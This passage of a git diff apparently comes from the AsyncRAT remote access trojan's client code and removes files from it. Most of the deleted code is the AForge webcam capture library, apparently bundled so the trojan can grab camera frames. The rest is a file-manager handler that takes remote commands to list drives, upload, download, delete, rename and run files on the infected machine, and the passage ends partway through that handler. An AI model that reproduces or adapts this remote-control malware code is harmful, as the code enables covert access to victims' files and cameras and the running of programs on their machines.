CameraControlProperty property, int value, CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.Set( property, value, controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Gets the current setting of a camera property. - /// - /// - /// Specifies the property to retrieve. - /// Receives the value of the property. - /// Receives the value indicating whether the setting is controlled manually or automatically - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.Get( property, out value, out controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Gets the range and default value of a specified camera property. - /// - /// - /// Specifies the property to query. - /// Receives the minimum value of the property. - /// Receives the maximum value of the property. - /// Receives the step size for the property. - /// Receives the default value of the property. - /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. - /// - /// Returns true on sucee or false otherwise. - /// - /// Video source is not specified - device moniker is not set. - /// Failed creating device object for moniker. - /// The video source does not support camera control. - /// - public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) - { - bool ret = true; - - // check if source was set - if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) - { - throw new ArgumentException( "Video source is not specified." ); - } - - lock ( sync ) - { - object tempSourceObject = null; - - // create source device's object - try - { - tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); - } - catch - { - throw new ApplicationException( "Failed creating device object for moniker." ); - } - - if ( !( tempSourceObject is IAMCameraControl ) ) - { - throw new NotSupportedException( "The video source does not support camera control." ); - } - - IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; - int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); - - ret = ( hr >= 0 ); - - Marshal.ReleaseComObject( tempSourceObject ); - } - - return ret; - } - - /// - /// Worker thread. - /// - /// - private void WorkerThread( ) - { - WorkerThread( true ); - } - - private void WorkerThread( bool runGraph ) - { - ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; - bool isSapshotSupported = false; - - // grabber - Grabber videoGrabber = new Grabber( this, false ); - Grabber snapshotGrabber = new Grabber( this, true ); - - // objects - object captureGraphObject = null; - object graphObject = null; - object videoGrabberObject = null; - object snapshotGrabberObject = null; - object crossbarObject = null; - - // interfaces - ICaptureGraphBuilder2 captureGraph = null; - IFilterGraph2 graph = null; - IBaseFilter sourceBase = null; - IBaseFilter videoGrabberBase = null; - IBaseFilter snapshotGrabberBase = null; - ISampleGrabber videoSampleGrabber = null; - ISampleGrabber snapshotSampleGrabber = null; - IMediaControl mediaControl = null; - IAMVideoControl videoControl = null; - IMediaEventEx mediaEvent = null; - IPin pinStillImage = null; - IAMCrossbar crossbar = null; - - try - { - // get type of capture graph builder - Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); - if ( type == null ) - throw new ApplicationException( "Failed creating capture graph builder" ); - - // create capture graph builder - captureGraphObject = Activator.CreateInstance( type ); - captureGraph = (ICaptureGraphBuilder2) captureGraphObject; - - // get type of filter graph - type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); - if ( type == null ) - throw new ApplicationException( "Failed creating filter graph" ); - - // create filter graph - graphObject = Activator.CreateInstance( type ); - graph = (IFilterGraph2) graphObject; - - // set filter graph to the capture graph builder - captureGraph.SetFiltergraph( (IGraphBuilder) graph ); - - // create source device's object - sourceObject = FilterInfo.CreateFilter( deviceMoniker ); - if ( sourceObject == null ) - throw new ApplicationException( "Failed creating device object for moniker" ); - - // get base filter interface of source device - sourceBase = (IBaseFilter) sourceObject; - - // get video control interface of the device - try - { - videoControl = (IAMVideoControl) sourceObject; - } - catch - { - // some camera drivers may not support IAMVideoControl interface - } - - // get type of sample grabber - type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); - if ( type == null ) - throw new ApplicationException( "Failed creating sample grabber" ); - - // create sample grabber used for video capture - videoGrabberObject = Activator.CreateInstance( type ); - videoSampleGrabber = (ISampleGrabber) videoGrabberObject; - videoGrabberBase = (IBaseFilter) videoGrabberObject; - // create sample grabber used for snapshot capture - snapshotGrabberObject = Activator.CreateInstance( type ); - snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; - snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; - - // add source and grabber filters to graph - graph.AddFilter( sourceBase, "source" ); - graph.AddFilter( videoGrabberBase, "grabber_video" ); - graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); - - // set media type - AMMediaType mediaType = new AMMediaType( ); - mediaType.MajorType = MediaType.Video; - mediaType.SubType = MediaSubType.RGB24; - - videoSampleGrabber.SetMediaType( mediaType ); - snapshotSampleGrabber.SetMediaType( mediaType ); - - // get crossbar object to to allows configuring pins of capture card - captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); - if ( crossbarObject != null ) - { - crossbar = (IAMCrossbar) crossbarObject; - } - isCrossbarAvailable = ( crossbar != null ); - crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); - - if ( videoControl != null ) - { - // find Still Image output pin of the vedio device - captureGraph.FindPin( sourceObject, PinDirection.Output, - PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); - // check if it support trigger mode - if ( pinStillImage != null ) - { - VideoControlFlags caps; - videoControl.GetCaps( pinStillImage, out caps ); - isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); - } - } - - // configure video sample grabber - videoSampleGrabber.SetBufferSamples( false ); - videoSampleGrabber.SetOneShot( false ); - videoSampleGrabber.SetCallback( videoGrabber, 1 ); - - // configure snapshot sample grabber - snapshotSampleGrabber.SetBufferSamples( true ); - snapshotSampleGrabber.SetOneShot( false ); - snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); - - // configure pins - GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, - PinCategory.Capture, videoResolution, ref videoCapabilities ); - if ( isSapshotSupported ) - { - GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, - PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); - } - else - { - snapshotCapabilities = new VideoCapabilities[0]; - } - - // put video/snapshot capabilities into cache - lock ( cacheVideoCapabilities ) - { - if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) - { - cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); - } - } - lock ( cacheSnapshotCapabilities ) - { - if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) - { - cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); - } - } - - if ( runGraph ) - { - // render capture pin - captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); - - if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) - { - VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - videoGrabber.Width = vih.BmiHeader.Width; - videoGrabber.Height = vih.BmiHeader.Height; - - mediaType.Dispose( ); - } - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - // render snapshot pin - captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); - - if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) - { - VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); - - snapshotGrabber.Width = vih.BmiHeader.Width; - snapshotGrabber.Height = vih.BmiHeader.Height; - - mediaType.Dispose( ); - } - } - - // get media control - mediaControl = (IMediaControl) graphObject; - - // get media events' interface - mediaEvent = (IMediaEventEx) graphObject; - IntPtr p1, p2; - DsEvCode code; - - // run - mediaControl.Run( ); - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - startTime = DateTime.Now; - videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); - } - - do - { - if ( mediaEvent != null ) - { - if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) - { - mediaEvent.FreeEventParams( code, p1, p2 ); - - if ( code == DsEvCode.DeviceLost ) - { - reasonToStop = ReasonToFinishPlaying.DeviceLost; - break; - } - } - } - - if ( needToSetVideoInput ) - { - needToSetVideoInput = false; - // set/check current input type of a video card (frame grabber) - if ( isCrossbarAvailable.Value ) - { - SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - - if ( needToSimulateTrigger ) - { - needToSimulateTrigger = false; - - if ( ( isSapshotSupported ) && ( provideSnapshots ) ) - { - videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); - } - } - - if ( needToDisplayPropertyPage ) - { - needToDisplayPropertyPage = false; - DisplayPropertyPage( parentWindowForPropertyPage, sourceObject ); - - if ( crossbar != null ) - { - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - - if ( needToDisplayCrossBarPropertyPage ) - { - needToDisplayCrossBarPropertyPage = false; - - if ( crossbar != null ) - { - DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); - crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); - } - } - } - while ( !stopEvent.WaitOne( 100, false ) ); - - mediaControl.Stop( ); - } - } - catch ( Exception exception ) - { - // provide information to clients - if ( VideoSourceError != null ) - { - VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); - } - } - finally - { - // release all objects - captureGraph = null; - graph = null; - sourceBase = null; - mediaControl = null; - videoControl = null; - mediaEvent = null; - pinStillImage = null; - crossbar = null; - - videoGrabberBase = null; - snapshotGrabberBase = null; - videoSampleGrabber = null; - snapshotSampleGrabber = null; - - if ( graphObject != null ) - { - Marshal.ReleaseComObject( graphObject ); - graphObject = null; - } - if ( sourceObject != null ) - { - Marshal.ReleaseComObject( sourceObject ); - sourceObject = null; - } - if ( videoGrabberObject != null ) - { - Marshal.ReleaseComObject( videoGrabberObject ); - videoGrabberObject = null; - } - if ( snapshotGrabberObject != null ) - { - Marshal.ReleaseComObject( snapshotGrabberObject ); - snapshotGrabberObject = null; - } - if ( captureGraphObject != null ) - { - Marshal.ReleaseComObject( captureGraphObject ); - captureGraphObject = null; - } - if ( crossbarObject != null ) - { - Marshal.ReleaseComObject( crossbarObject ); - crossbarObject = null; - } - } - - if ( PlayingFinished != null ) - { - PlayingFinished( this, reasonToStop ); - } - } - - // Set resolution for the specified stream configuration - private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) - { - if ( resolution == null ) - { - return; - } - - // iterate through device's capabilities to find mediaType for desired resolution - int capabilitiesCount = 0, capabilitySize = 0; - AMMediaType newMediaType = null; - VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); - - streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); - - for ( int i = 0; i < capabilitiesCount; i++ ) - { - try - { - VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); - - if ( resolution == vc ) - { - if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) - { - break; - } - } - } - catch - { - } - } - - // set the new format - if ( newMediaType != null ) - { - streamConfig.SetFormat( newMediaType ); - newMediaType.Dispose( ); - } - } - - // Configure specified pin and collect its capabilities if required - private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, - Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) - { - object streamConfigObject; - graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); - - if ( streamConfigObject != null ) - { - IAMStreamConfig streamConfig = null; - - try - { - streamConfig = (IAMStreamConfig) streamConfigObject; - } - catch ( InvalidCastException ) - { - } - - if ( streamConfig != null ) - { - if ( capabilities == null ) - { - try - { - // get all video capabilities - capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); - } - catch - { - } - } - - // check if it is required to change capture settings - if ( resolutionToSet != null ) - { - SetResolution( streamConfig, resolutionToSet ); - } - } - } - - // if failed resolving capabilities, then just create empty capabilities array, - // so we don't try again - if ( capabilities == null ) - { - capabilities = new VideoCapabilities[0]; - } - } - - // Display property page for the specified object - private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) - { - try - { - // retrieve ISpecifyPropertyPages interface of the device - ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; - - // get property pages from the property bag - CAUUID caGUID; - pPropPages.GetPages( out caGUID ); - - // get filter info - FilterInfo filterInfo = new FilterInfo( deviceMoniker ); - - // create and display the OlePropertyFrame - Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); - - // release COM objects - Marshal.FreeCoTaskMem( caGUID.pElems ); - } - catch - { - } - } - - // Collect all video inputs of the specified crossbar - private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) - { - lock ( cacheCrossbarVideoInputs ) - { - if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) - { - return cacheCrossbarVideoInputs[deviceMoniker]; - } - - List videoInputsList = new List( ); - - if ( crossbar != null ) - { - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - // collect all video inputs - for ( int i = 0; i < inPinsCount; i++ ) - { - int pinIndexRelated; - PhysicalConnectorType type; - - if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type < PhysicalConnectorType.AudioTuner ) - { - videoInputsList.Add( new VideoInput( i, type ) ); - } - } - } - } - - VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; - videoInputsList.CopyTo( videoInputs ); - - cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); - - return videoInputs; - } - } - - // Get type of input connected to video output of the crossbar - private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) - { - VideoInput videoInput = VideoInput.Default; - - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - int videoOutputPinIndex = -1; - int pinIndexRelated; - PhysicalConnectorType type; - - // find index of the video output pin - for ( int i = 0; i < outPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type == PhysicalConnectorType.VideoDecoder ) - { - videoOutputPinIndex = i; - break; - } - } - - if ( videoOutputPinIndex != -1 ) - { - int videoInputPinIndex; - - // get index of the input pin connected to the output - if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) - { - PhysicalConnectorType inputType; - - crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); - - videoInput = new VideoInput( videoInputPinIndex, inputType ); - } - } - } - - return videoInput; - } - - // Set type of input connected to video output of the crossbar - private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) - { - if ( videoInput.Type != PhysicalConnectorType.Default ) - { - int inPinsCount, outPinsCount; - - // gen number of pins in the crossbar - if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) - { - int videoOutputPinIndex = -1; - int videoInputPinIndex = -1; - int pinIndexRelated; - PhysicalConnectorType type; - - // find index of the video output pin - for ( int i = 0; i < outPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( type == PhysicalConnectorType.VideoDecoder ) - { - videoOutputPinIndex = i; - break; - } - } - - // find index of the required input pin - for ( int i = 0; i < inPinsCount; i++ ) - { - if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) - continue; - - if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) - { - videoInputPinIndex = i; - break; - } - } - - // try connecting pins - if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) && - ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) - { - crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); - } - } - } - } - - /// - /// Notifies clients about new frame. - /// - /// - /// New frame's image. - /// - private void OnNewFrame( Bitmap image ) - { - framesReceived++; - bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); - - if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) - NewFrame( this, new NewFrameEventArgs( image ) ); - } - - /// - /// Notifies clients about new snapshot frame. - /// - /// - /// New snapshot's image. - /// - private void OnSnapshotFrame( Bitmap image ) - { - TimeSpan timeSinceStarted = DateTime.Now - startTime; - - // TODO: need to find better way to ignore the first snapshot, which is sent - // automatically (or better disable it) - if ( timeSinceStarted.TotalSeconds >= 4 ) - { - if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) - SnapshotFrame( this, new NewFrameEventArgs( image ) ); - } - } - - // - // Video grabber - // - private class Grabber : ISampleGrabberCB - { - private VideoCaptureDevice parent; - private bool snapshotMode; - private int width, height; - - // Width property - public int Width - { - get { return width; } - set { width = value; } - } - // Height property - public int Height - { - get { return height; } - set { height = value; } - } - - // Constructor - public Grabber( VideoCaptureDevice parent, bool snapshotMode ) - { - this.parent = parent; - this.snapshotMode = snapshotMode; - } - - // Callback to receive samples - public int SampleCB( double sampleTime, IntPtr sample ) - { - return 0; - } - - // Callback method that receives a pointer to the sample buffer - public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) - { - if ( parent.NewFrame != null ) - { - // create new image - System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); - - // lock bitmap data - BitmapData imageData = image.LockBits( - new Rectangle( 0, 0, width, height ), - ImageLockMode.ReadWrite, - PixelFormat.Format24bppRgb ); - - // copy image data - int srcStride = imageData.Stride; - int dstStride = imageData.Stride; - - unsafe - { - byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); - byte* src = (byte*) buffer.ToPointer( ); - - for ( int y = 0; y < height; y++ ) - { - Win32.memcpy( dst, src, srcStride ); - dst -= dstStride; - src += srcStride; - } - } - - // unlock bitmap data - image.UnlockBits( imageData ); - - // notify parent - if ( snapshotMode ) - { - parent.OnSnapshotFrame( image ); - } - else - { - parent.OnNewFrame( image ); - } - - // release the image - image.Dispose( ); - } - - return 0; - } - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs deleted file mode 100644 index d88b64d..0000000 --- a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs +++ /dev/null @@ -1,47 +0,0 @@ -// AForge Direct Show Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2012 -// contacts@aforgenet.com -// - -namespace AForge.Video.DirectShow -{ - using System; - - /// - /// Video input of a capture board. - /// - /// - /// The class is used to describe video input of devices like video capture boards, - /// which usually provide several inputs. - /// - /// - public class VideoInput - { - /// - /// Index of the video input. - /// - public readonly int Index; - - /// - /// Type of the video input. - /// - public readonly PhysicalConnectorType Type; - - internal VideoInput( int index, PhysicalConnectorType type ) - { - Index = index; - Type = type; - } - - /// - /// Default video input. Used to specify that it should not be changed. - /// - public static VideoInput Default - { - get { return new VideoInput( -1, PhysicalConnectorType.Default ); } - } - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs b/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs deleted file mode 100644 index d6ae3e5..0000000 --- a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs +++ /dev/null @@ -1,126 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © Andrew Kirillov, 2005-2009 -// andrew.kirillov@aforgenet.com -// - -namespace AForge.Video -{ - using System; - - /// - /// Video source interface. - /// - /// - /// The interface describes common methods for different type of video sources. - /// - public interface IVideoSource - { - /// - /// New frame event. - /// - /// - /// This event is used to notify clients about new available video frame. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, but video source is responsible for - /// disposing its own original copy after notifying of clients. - /// - /// - event NewFrameEventHandler NewFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Video source. - /// - /// - /// The meaning of the property depends on particular video source. - /// Depending on video source it may be a file name, URL or any other string - /// describing the video source. - /// - string Source { get; } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - int FramesReceived { get; } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - long BytesReceived { get; } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - bool IsRunning { get; } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - void Start( ); - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - void SignalToStop( ); - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for video source stopping after it was signalled to stop using - /// method. - /// - void WaitForStop( ); - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - void Stop( ); - } -} diff --git a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs b/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs deleted file mode 100644 index c5729e5..0000000 --- a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs +++ /dev/null @@ -1,125 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2009-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video -{ - using System; - - /// - /// Delegate for new frame event handler. - /// - /// - /// Sender object. - /// Event arguments. - /// - public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); - - /// - /// Delegate for video source error event handler. - /// - /// - /// Sender object. - /// Event arguments. - /// - public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); - - /// - /// Delegate for playing finished event handler. - /// - /// - /// Sender object. - /// Reason of finishing video playing. - /// - public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); - - /// - /// Reason of finishing video playing. - /// - /// - /// When video source class fire the event, they - /// need to specify reason of finishing video playing. For example, it may be end of stream reached. - /// - public enum ReasonToFinishPlaying - { - /// - /// Video playing has finished because it end was reached. - /// - EndOfStreamReached, - /// - /// Video playing has finished because it was stopped by user. - /// - StoppedByUser, - /// - /// Video playing has finished because the device was lost (unplugged). - /// - DeviceLost, - /// - /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). - /// A error reporting event usually is fired to provide error information. - /// - VideoSourceError - } - - /// - /// Arguments for new frame event from video source. - /// - /// - public class NewFrameEventArgs : EventArgs - { - private System.Drawing.Bitmap frame; - - /// - /// Initializes a new instance of the class. - /// - /// - /// New frame. - /// - public NewFrameEventArgs( System.Drawing.Bitmap frame ) - { - this.frame = frame; - } - - /// - /// New frame from video source. - /// - /// - public System.Drawing.Bitmap Frame - { - get { return frame; } - } - } - - /// - /// Arguments for video source error event from video source. - /// - /// - public class VideoSourceErrorEventArgs : EventArgs - { - private string description; - - /// - /// Initializes a new instance of the class. - /// - /// - /// Error description. - /// - public VideoSourceErrorEventArgs( string description ) - { - this.description = description; - } - - /// - /// Video source error description. - /// - /// - public string Description - { - get { return description; } - } - } -} diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 0afea06..c09d965 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -72,70 +72,28 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - - - - - Form - - - FormChat.cs - + @@ -149,13 +107,6 @@ - - - - - - - @@ -167,10 +118,5 @@ false - - - FormChat.cs - - \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs deleted file mode 100644 index 4476f9b..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ /dev/null @@ -1,310 +0,0 @@ -using Client.MessagePack; -using Client.Connection; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Linq; -using System.Text; -using System.Diagnostics; -using System.Net.Sockets; -using System.Security.Authentication; -using System.Net.Security; -using System.Security.Cryptography.X509Certificates; -using System.Threading; - -namespace Client.Handle_Packet -{ - public class FileManager - { - public FileManager(MsgPack unpack_msgpack) - { - try - { - switch (unpack_msgpack.ForcePathObject("Command").AsString) - { - case "getDrivers": - { - GetDrivers(); - break; - } - - case "getPath": - { - GetPath(unpack_msgpack.ForcePathObject("Path").AsString); - break; - } - - case "uploadFile": - { - string fullPath = unpack_msgpack.ForcePathObject("Name").AsString; - if (File.Exists(fullPath)) - { - File.Delete(fullPath); - Thread.Sleep(500); - } - unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); - break; - } - - case "reqUploadFile": - { - ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); ; - break; - } - - case "socketDownload": - { - DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString); - break; - } - - case "deleteFile": - { - string fullPath = unpack_msgpack.ForcePathObject("File").AsString; - File.Delete(fullPath); - break; - } - - case "execute": - { - string fullPath = unpack_msgpack.ForcePathObject("File").AsString; - Process.Start(fullPath); - break; - } - - case "createFolder": - { - string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString; - if (!Directory.Exists(fullPath)) Directory.CreateDirectory(fullPath); - break; - } - - case "deleteFolder": - { - string fullPath = unpack_msgpack.ForcePathObject("Folder").AsString; - if (Directory.Exists(fullPath)) Directory.Delete(fullPath); - break; - } - - case "copyFile": - { - Packet.FileCopy = unpack_msgpack.ForcePathObject("File").AsString; - break; - } - - case "pasteFile": - { - string fullPath = unpack_msgpack.ForcePathObject("File").AsString; - if (fullPath.Length > 0) - { - string[] filesArray = Packet.FileCopy.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < filesArray.Length; i++) - { - try - { - if (filesArray[i].Length > 0) - { - File.Copy(filesArray[i], Path.Combine(fullPath, Path.GetFileName(filesArray[i])), true); - } - } - catch (Exception ex) - { - Error(ex.Message); - } - } - Packet.FileCopy = null; - } - break; - } - - case "renameFile": - { - File.Move(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("NewName").AsString); - break; - } - - case "renameFolder": - { - Directory.Move(unpack_msgpack.ForcePathObject("Folder").AsString, unpack_msgpack.ForcePathObject("NewName").AsString); - break; ; - } - } - - } - catch (Exception ex) - { - Debug.WriteLine(ex.Message); - Error(ex.Message); - } - } - - public void GetDrivers() - { - try - { - DriveInfo[] allDrives = DriveInfo.GetDrives(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getDrivers"; - StringBuilder sbDriver = new StringBuilder(); - foreach (DriveInfo d in allDrives) - { - if (d.IsReady) - { - sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>"); - } - msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); - } - } - catch { } - } - - public void GetPath(string path) - { - try - { - Debug.WriteLine($"Getting [{path}]"); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - 